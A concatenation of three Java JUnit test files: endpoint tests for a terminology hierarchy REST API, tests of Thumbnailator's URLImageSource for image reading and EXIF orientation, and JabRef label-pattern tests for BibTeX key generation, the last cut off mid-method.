// there should be a leaf node in the hierarchy
assertThat(hasLeafNode(list)).isTrue();
// something should have grand children
assertThat(list.stream()
.filter(c -> c.getChildren().size() > 0
&& c.getChildren().stream().filter(c2 -> c2.getChildren().size() > 0).count() > 0)
.count()).isGreaterThan(0);
// Some grand children should be leaf nodes
assertThat(list.stream()
.filter(c -> c.getChildren().size() > 0 && c.getChildren().stream()
.filter(c2 -> c2.getChildren().size() > 0 && c2.getChildren().stream()
.filter(c3 -> c3.getLeaf() != null && c3.getLeaf()).count() > 0)
.count() > 0)
.count()).isGreaterThan(0);
// Test case with bad terminology
url = baseUrl + "/test/C2291/subtree";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound());
}
/**
* Test get paths from root.
*
* @throws Exception the exception
*/
@Test
public void testGetPathsFromRoot() throws Exception {
// NOTE, this includes a middle concept code that is bougs
String url = null;
MvcResult result = null;
String content = null;
List<List<Concept>> list = null;
url = baseUrl + "/ncit/C3224/pathsFromRoot";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C7057");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C3224");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
url = baseUrl + "/ncit/C3224/pathsFromRoot?include=summary";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isNotEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C7057");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C3224");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
}
/**
* Test get paths to root.
*
* @throws Exception the exception
*/
@Test
public void testGetPathsToRoot() throws Exception {
// NOTE, this includes a middle concept code that is bougs
String url = null;
MvcResult result = null;
String content = null;
List<List<Concept>> list = null;
url = baseUrl + "/ncit/C3224/pathsToRoot";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C3224");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C7057");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
url = baseUrl + "/ncit/C3224/pathsToRoot?include=summary";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isNotEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C3224");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C7057");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
}
/**
* Test get paths to ancestor.
*
* @throws Exception the exception
*/
@Test
public void testGetPathsToAncestor() throws Exception {
// NOTE, this includes a middle concept code that is bougs
String url = null;
MvcResult result = null;
String content = null;
List<List<Concept>> list = null;
url = baseUrl + "/ncit/C3224/pathsToAncestor/C2991";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C3224");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C2991");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
url = baseUrl + "/ncit/C3224/pathsToAncestor/C2991?include=summary";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<List<Concept>>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).get(0).getSynonyms()).isNotEmpty();
// Assert that the first element is a "root" - e.g. C7057
assertThat(list.get(0).get(0).getCode()).isEqualTo("C3224");
assertThat(list.get(0).get(list.get(0).size() - 1).getCode()).isEqualTo("C2991");
// Assert that numbers count in order, starting at 1 and ending in legnth
assertThat(list.get(0).get(0).getLevel()).isEqualTo(0);
assertThat(list.get(0).get(list.get(0).size() - 1).getLevel())
.isEqualTo(list.get(0).size() - 1);
}
/**
* Checks if hierarchy has a leaf node anywhere in the hierarchy
*
* @param list list of hierarchy nodes
* @return boolean true if hierarchy has a leaf node, else false
*/
private boolean hasLeafNode(List<HierarchyNode> list) {
if (CollectionUtils.isEmpty(list)) return false;
for(HierarchyNode node: list) {
if (node.getLeaf() != null && node.getLeaf()) return true;
if (!CollectionUtils.isEmpty(node.getChildren())) {
if (hasLeafNode(node.getChildren())) return true;
}
}
return false;
}
}
|
package net.coobird.thumbnailator.tasks.io;
import static org.junit.Assert.*;
import static org.junit.matchers.JUnitMatchers.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.net.Proxy;
import java.net.URL;
import javax.imageio.ImageIO;
import net.coobird.thumbnailator.TestUtils;
import net.coobird.thumbnailator.ThumbnailParameter;
import net.coobird.thumbnailator.builders.ThumbnailParameterBuilder;
import net.coobird.thumbnailator.geometry.AbsoluteSize;
import net.coobird.thumbnailator.geometry.Coordinate;
import net.coobird.thumbnailator.geometry.Positions;
import net.coobird.thumbnailator.geometry.Region;
import net.coobird.thumbnailator.test.BufferedImageAssert;
import net.coobird.thumbnailator.test.BufferedImageComparer;
import org.junit.Test;
import org.junit.experimental.runners.Enclosed;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@RunWith(Enclosed.class)
public class URLImageSourceTest {
public static class Tests {
@Test
public void proxySpecfied() throws IOException {
// given
Proxy proxy = Proxy.NO_PROXY;
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"), proxy);
// when
BufferedImage img = source.read();
// then
assertEquals(100, img.getWidth());
assertEquals(100, img.getHeight());
assertEquals("png", source.getInputFormatName());
}
@Test(expected = NullPointerException.class)
public void givenNullURL() throws IOException {
try {
// given
// when
URL url = null;
new URLImageSource(url);
} catch (NullPointerException e) {
// then
assertEquals("URL cannot be null.", e.getMessage());
throw e;
}
}
@Test(expected = NullPointerException.class)
public void givenNullString() throws IOException {
try {
// given
// when
String url = null;
new URLImageSource(url);
} catch (NullPointerException e) {
// then
assertEquals("URL cannot be null.", e.getMessage());
throw e;
}
}
@Test(expected = NullPointerException.class)
public void givenURL_givenNullProxy() throws IOException {
try {
// given
// when
new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"), null);
} catch (NullPointerException e) {
// then
assertEquals("Proxy cannot be null.", e.getMessage());
throw e;
}
}
@Test(expected = NullPointerException.class)
public void givenString_givenNullProxy() throws IOException {
try {
// given
// when
new URLImageSource("file:src/test/resources/Thumbnailator/grid.png", null);
} catch (NullPointerException e) {
// then
assertEquals("Proxy cannot be null.", e.getMessage());
throw e;
}
}
@Test
public void fileExists_Png() throws IOException {
// given
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
// when
BufferedImage img = source.read();
// then
assertEquals(100, img.getWidth());
assertEquals(100, img.getHeight());
assertEquals("png", source.getInputFormatName());
}
@Test
public void fileExists_Jpeg() throws IOException {
// given
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.jpg"));
// when
BufferedImage img = source.read();
// then
assertEquals(100, img.getWidth());
assertEquals(100, img.getHeight());
assertEquals("JPEG", source.getInputFormatName());
}
@Test
public void fileExists_Bmp() throws IOException {
// given
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.bmp"));
// when
BufferedImage img = source.read();
// then
assertEquals(100, img.getWidth());
assertEquals(100, img.getHeight());
assertEquals("bmp", source.getInputFormatName());
}
@Test(expected = IOException.class)
public void fileDoesNotExists() throws IOException {
// given
URLImageSource source = new URLImageSource(new URL("file:notfound"));
try {
// when
source.read();
} catch (IOException e) {
// then
assertThat(e.getMessage(), containsString("Could not open connection to URL:"));
throw e;
}
fail();
}
@Test(expected = IllegalStateException.class)
public void fileExists_getInputFormatNameBeforeRead() throws IOException {
// given
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
try {
// when
source.getInputFormatName();
} catch (IllegalStateException e) {
// then
assertEquals("Input has not been read yet.", e.getMessage());
throw e;
}
}
@Test
public void appliesSourceRegion() throws IOException {
// given
File sourceFile = new File("src/test/resources/Thumbnailator/grid.png");
BufferedImage sourceImage = ImageIO.read(sourceFile);
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
source.setThumbnailParameter(
new ThumbnailParameterBuilder()
.region(new Region(Positions.TOP_LEFT, new AbsoluteSize(40, 40)))
.size(20, 20)
.build()
);
// when
BufferedImage img = source.read();
// then
BufferedImage expectedImg = sourceImage.getSubimage(0, 0, 40, 40);
assertTrue(BufferedImageComparer.isRGBSimilar(expectedImg, img));
}
@Test
public void appliesSourceRegionTooBig() throws IOException {
// given
File sourceFile = new File("src/test/resources/Thumbnailator/grid.png");
BufferedImage sourceImage = ImageIO.read(sourceFile);
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
source.setThumbnailParameter(
new ThumbnailParameterBuilder()
.region(new Region(new Coordinate(20, 20), new AbsoluteSize(100, 100)))
.size(80, 80)
.build()
);
// when
BufferedImage img = source.read();
// then
BufferedImage expectedImg = sourceImage.getSubimage(20, 20, 80, 80);
assertTrue(BufferedImageComparer.isRGBSimilar(expectedImg, img));
}
@Test
public void appliesSourceRegionBeyondOrigin() throws IOException {
// given
File sourceFile = new File("src/test/resources/Thumbnailator/grid.png");
BufferedImage sourceImage = ImageIO.read(sourceFile);
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
source.setThumbnailParameter(
new ThumbnailParameterBuilder()
.region(new Region(new Coordinate(-20, -20), new AbsoluteSize(100, 100)))
.size(80, 80)
.build()
);
// when
BufferedImage img = source.read();
// then
BufferedImage expectedImg = sourceImage.getSubimage(0, 0, 80, 80);
assertTrue(BufferedImageComparer.isRGBSimilar(expectedImg, img));
}
@Test
public void appliesSourceRegionNotSpecified() throws IOException {
// given
File sourceFile = new File("src/test/resources/Thumbnailator/grid.png");
BufferedImage sourceImage = ImageIO.read(sourceFile);
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Thumbnailator/grid.png"));
source.setThumbnailParameter(
new ThumbnailParameterBuilder()
.size(20, 20)
.build()
);
// when
BufferedImage img = source.read();
// then
assertTrue(BufferedImageComparer.isRGBSimilar(sourceImage, img));
}
@Test
public void useExifOrientationIsTrue_OrientationHonored() throws Exception {
// given
File sourceFile = new File("src/test/resources/Exif/source_2.jpg");
BufferedImage sourceImage = ImageIO.read(sourceFile);
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Exif/source_2.jpg"));
ThumbnailParameter param =
new ThumbnailParameterBuilder()
.size(20, 20)
.useExifOrientation(true)
.build();
source.setThumbnailParameter(param);
// when
source.read();
// then
BufferedImage result = param.getImageFilters().get(0).apply(sourceImage);
BufferedImageAssert.assertMatches(
result,
new float[]{
1, 1, 1,
1, 1, 1,
1, 0, 0,
}
);
}
@Test
public void useExifOrientationIsFalse_OrientationIgnored() throws Exception {
// given
URLImageSource source = new URLImageSource(new URL("file:src/test/resources/Exif/source_2.jpg"));
ThumbnailParameter param =
new ThumbnailParameterBuilder()
.size(20, 20)
.useExifOrientation(false)
.build();
source.setThumbnailParameter(param);
// when
BufferedImage result = source.read();
// then
assertTrue(param.getImageFilters().isEmpty());
BufferedImageAssert.assertMatches(
result,
new float[]{
1, 1, 1,
1, 1, 1,
0, 0, 1,
}
);
}
}
@RunWith(Parameterized.class)
public static class ExifOrientationTests {
@Parameterized.Parameters(name = "orientation={0}")
public static Object[] values() {
return new Object[] { 1, 2, 3, 4, 5, 6, 7, 8};
}
@Parameterized.Parameter
public int orientation;
@Test
public void readImageUnaffectedForOrientation() throws Exception {
// given
String resourceName = String.format("Exif/source_%s.jpg", orientation);
BufferedImage sourceImage = TestUtils.getImageFromResource(resourceName);
URLImageSource source = new URLImageSource(TestUtils.getResource(resourceName));
ThumbnailParameter param =
new ThumbnailParameterBuilder().size(20, 20).build();
source.setThumbnailParameter(param);
// when
BufferedImage img = source.read();
// then
assertTrue(BufferedImageComparer.isRGBSimilar(sourceImage, img));
}
@Test
public void containsCorrectFilterForOrientation() throws Exception {
// given
String resourceName = String.format("Exif/source_%s.jpg", orientation);
BufferedImage sourceImage = TestUtils.getImageFromResource(resourceName);
URLImageSource source = new URLImageSource(TestUtils.getResource(resourceName));
ThumbnailParameter param =
new ThumbnailParameterBuilder().size(20, 20).build();
source.setThumbnailParameter(param);
// when
source.read();
// then
if (orientation == 1) {
assertTrue(param.getImageFilters().isEmpty());
} else {
BufferedImage result = param.getImageFilters().get(0).apply(sourceImage);
BufferedImageAssert.assertMatches(
result,
new float[]{
1, 1, 1,
1, 1, 1,
1, 0, 0,
}
);
}
}
}
}
|
package net.sf.jabref.logic.labelPattern;
import static org.junit.Assert.assertEquals;
import org.junit.Assert;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import net.sf.jabref.Globals;
import net.sf.jabref.JabRefPreferences;
import net.sf.jabref.importer.fileformat.BibtexParser;
import net.sf.jabref.model.database.BibtexDatabase;
import net.sf.jabref.model.entry.BibtexEntry;
import net.sf.jabref.util.Util;
public class LabelPatternUtilTest {
private static final String AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_1 = "Isaac Newton";
private static final String AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_2 = "Isaac Newton and James Maxwell";
private static final String AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_3 = "Isaac Newton and James Maxwell and Albert Einstein";
private static final String AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1 = "Wil van der Aalst";
private static final String AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2 = "Wil van der Aalst and Tammo van Lessen";
private static final String AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1 = "I. Newton";
private static final String AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2 = "I. Newton and J. Maxwell";
private static final String AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3 = "I. Newton and J. Maxwell and A. Einstein";
private static final String AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4 = "I. Newton and J. Maxwell and A. Einstein and N. Bohr";
private static final String AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5 = "I. Newton and J. Maxwell and A. Einstein and N. Bohr and Harry Unknown";
private static final String TITLE_STRING_ALL_LOWER_FOUR_SMALL_WORDS_ONE_EN_DASH = "application migration effort in the cloud - the case of cloud platforms";
private static final String TITLE_STRING_ALL_LOWER_FIRST_WORD_IN_BRACKETS_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON = "{BPEL} conformance in open source engines: the case of static analysis";
private static final String TITLE_STRING_CASED = "Process Viewing Patterns";
private static final String TITLE_STRING_CASED_ONE_UPPER_WORD_ONE_SMALL_WORD = "BPMN Conformance in Open Source Engines";
private static final String TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AT_THE_BEGINNING = "The Difference Between Graph-Based and Block-Structured Business Process Modelling Languages";
private static final String TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON = "Cloud Computing: The Next Revolution in IT";
private static final String TITLE_STRING_CASED_TWO_SMALL_WORDS_ONE_CONNECTED_WORD = "Towards Choreography-based Process Distribution in the Cloud";
private static final String TITLE_STRING_CASED_FOUR_SMALL_WORDS_TWO_CONNECTED_WORDS = "On the Measurement of Design-Time Adaptability for Process-Based Systems ";
@BeforeClass
public static void setUpGlobalsPrefs() {
Globals.prefs = JabRefPreferences.getInstance();
}
@Before
public void setUp() {
LabelPatternUtil.setDataBase(new BibtexDatabase());
}
@Test
public void testAndInAuthorName() {
BibtexEntry entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Simon Holland}}");
Assert.assertEquals("Holland", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth")));
}
@Test
public void testAndAuthorNames() {
String bibtexString = "@ARTICLE{whatevery, author={Mari D. Herland and Mona-Iren Hauge and Ingeborg M. Helgeland}}";
BibtexEntry entry = BibtexParser.singleFromString(bibtexString);
Assert.assertEquals("HerlandHaugeHelgeland", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry, "authors3")));
}
@Test
public void testMakeLabelAndCheckLegalKeys() {
BibtexEntry entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Köning}, year={2000}}");
Assert.assertEquals("Koen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Áöning}, year={2000}}");
Assert.assertEquals("Aoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Éöning}, year={2000}}");
Assert.assertEquals("Eoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Íöning}, year={2000}}");
Assert.assertEquals("Ioen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ĺöning}, year={2000}}");
Assert.assertEquals("Loen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ńöning}, year={2000}}");
Assert.assertEquals("Noen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Óöning}, year={2000}}");
Assert.assertEquals("Ooen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ŕöning}, year={2000}}");
Assert.assertEquals("Roen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Śöning}, year={2000}}");
Assert.assertEquals("Soen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Úöning}, year={2000}}");
Assert.assertEquals("Uoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ýöning}, year={2000}}");
Assert.assertEquals("Yoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Źöning}, year={2000}}");
Assert.assertEquals("Zoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
}
@Test
public void testMakeLabelAndCheckLegalKeysAccentGrave() {
BibtexEntry entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Àöning}, year={2000}}");
Assert.assertEquals("Aoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Èöning}, year={2000}}");
Assert.assertEquals("Eoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ìöning}, year={2000}}");
Assert.assertEquals("Ioen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Òöning}, year={2000}}");
Assert.assertEquals("Ooen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
entry0 = BibtexParser.singleFromString("@ARTICLE{kohn, author={Andreas Ùöning}, year={2000}}");
Assert.assertEquals("Uoen", Util.checkLegalKey(LabelPatternUtil.makeLabel(entry0, "auth3")));
}
@Test
public void testCheckLegalKey() {
// not tested/ not in hashmap UNICODE_CHARS:
String accents = "ÀàÈèÌìÒòÙù  â Ĉ ĉ Ê ê Ĝ ĝ Ĥ ĥ Î î Ĵ ĵ Ô ô Ŝ ŝ Û û Ŵ ŵ Ŷ ŷ";
String expectedResult = "AaEeIiOoUuAaCcEeGgHhIiJjOoSsUuWwYy";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "ÄäËëÏïÖöÜüŸÿ";
expectedResult = "AeaeEeIiOeoeUeueYy";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ç ç Ģ ģ Ķ ķ Ļ ļ Ņ ņ Ŗ ŗ Ş ş Ţ ţ";
expectedResult = "CcGgKkLlNnRrSsTt";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ă ă Ĕ ĕ Ğ ğ Ĭ ĭ Ŏ ŏ Ŭ ŭ";
expectedResult = "AaEeGgIiOoUu";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ċ ċ Ė ė Ġ ġ İ ı Ż ż";
expectedResult = "CcEeGgIiZz";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ą ą Ę ę Į į Ǫ ǫ Ų ų";
expectedResult = "AaEeIiOoUu"; // O or Q? o or q?
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ā ā Ē ē Ī ī Ō ō Ū ū Ȳ ȳ";
expectedResult = "AaEeIiOoUuYy";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ǎ ǎ Č č Ď ď Ě ě Ǐ ǐ Ľ ľ Ň ň Ǒ ǒ Ř ř Š š Ť ť Ǔ ǔ Ž ž";
expectedResult = "AaCcDdEeIiLlNnOoRrSsTtUuZz";
assertEquals(expectedResult, Util.checkLegalKey(accents));
expectedResult = "AaEeIiNnOoUuYy";
accents = "ÃãẼẽĨĩÑñÕõŨũỸỹ";
assertEquals(expectedResult, Util.checkLegalKey(accents));
accents = "Ḍ ḍ Ḥ ḥ Ḷ ḷ Ḹ ḹ Ṃ ṃ Ṇ ṇ Ṛ ṛ Ṝ ṝ Ṣ ṣ Ṭ ṭ";
expectedResult = "DdHhLlLlMmNnRrRrSsTt";
assertEquals(expectedResult, Util.checkLegalKey(accents));
String totest = "À à È è Ì ì Ò ò Ù ù Â â Ĉ ĉ Ê ê Ĝ ĝ Ĥ ĥ Î î Ĵ ĵ Ô ô Ŝ ŝ Û û Ŵ ŵ Ŷ ŷ Ä ä Ë ë Ï ï Ö ö Ü ü Ÿ ÿ "
+ "Ã ã Ẽ ẽ Ĩ ĩ Ñ ñ Õ õ Ũ ũ Ỹ ỹ Ç ç Ģ ģ Ķ ķ Ļ ļ Ņ ņ Ŗ ŗ Ş ş Ţ ţ"
+ " Ǎ ǎ Č č Ď ď Ě ě Ǐ ǐ Ľ ľ Ň ň Ǒ ǒ Ř ř Š š Ť ť Ǔ ǔ Ž ž " + "Ā ā Ē ē Ī ī Ō ō Ū ū Ȳ ȳ"
+ "Ă ă Ĕ ĕ Ğ ğ Ĭ ĭ Ŏ ŏ Ŭ ŭ " + "Ċ ċ Ė ė Ġ ġ İ ı Ż ż Ą ą Ę ę Į į Ǫ ǫ Ų ų "
+ "Ḍ ḍ Ḥ ḥ Ḷ ḷ Ḹ ḹ Ṃ ṃ Ṇ ṇ Ṛ ṛ Ṝ ṝ Ṣ ṣ Ṭ ṭ ";
String expectedResults = "AaEeIiOoUuAaCcEeGgHhIiJjOoSsUuWwYyAeaeEeIiOeoeUeueYy" +
"AaEeIiNnOoUuYyCcGgKkLlNnRrSsTt" +
"AaCcDdEeIiLlNnOoRrSsTtUuZz" +
"AaEeIiOoUuYy" +
"AaEeGgIiOoUu" +
"CcEeGgIiZzAaEeIiOoUu" +
"DdHhLlLlMmNnRrRrSsTt";
assertEquals(expectedResults, Util.checkLegalKey(totest));
}
@Test
public void testFirstAuthor() {
Assert.assertEquals(
"Newton",
LabelPatternUtil
.firstAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5));
Assert.assertEquals("Newton", LabelPatternUtil.firstAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals("K{\\\"o}ning", LabelPatternUtil
.firstAuthor("K{\\\"o}ning"));
Assert.assertEquals("", LabelPatternUtil.firstAuthor(""));
try {
LabelPatternUtil.firstAuthor(null);
Assert.fail();
} catch (NullPointerException ignored) {
// Ignored
}
}
@Test
public void testAuthIniN() {
Assert.assertEquals(
"NMEB",
LabelPatternUtil
.authIniN(
AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5,
4));
Assert.assertEquals("NMEB", LabelPatternUtil.authIniN(
AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4, 4));
Assert.assertEquals("NeME", LabelPatternUtil.authIniN(
AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3, 4));
Assert.assertEquals("NeMa", LabelPatternUtil.authIniN(
AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2, 4));
Assert.assertEquals("Newt", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 4));
Assert.assertEquals("", "");
Assert.assertEquals("N", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 1));
Assert.assertEquals("", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 0));
Assert.assertEquals("", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, -1));
Assert.assertEquals("Newton", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 6));
Assert.assertEquals("Newton", LabelPatternUtil.authIniN(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 7));
try {
LabelPatternUtil.authIniN(null, 3);
Assert.fail();
} catch (NullPointerException ignored) {
// Ignored
}
}
/**
* Tests [auth.auth.ea]
*/
@Test
public void authAuthEa() {
Assert.assertEquals("Newton", LabelPatternUtil.authAuthEa(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals("Newton.Maxwell", LabelPatternUtil.authAuthEa(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals("Newton.Maxwell.ea", LabelPatternUtil.authAuthEa(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_3));
}
/**
* Tests the [auth.etal] and [authEtAl] patterns
*/
@Test
public void testAuthEtAl() {
// tests taken from the comments
// [auth.etal]
String delim = ".";
String append = ".etal";
Assert.assertEquals("Newton.etal", LabelPatternUtil.authEtal(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_3, delim, append));
Assert.assertEquals("Newton.Maxwell", LabelPatternUtil.authEtal(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_2, delim, append));
// [authEtAl]
delim = "";
append = "EtAl";
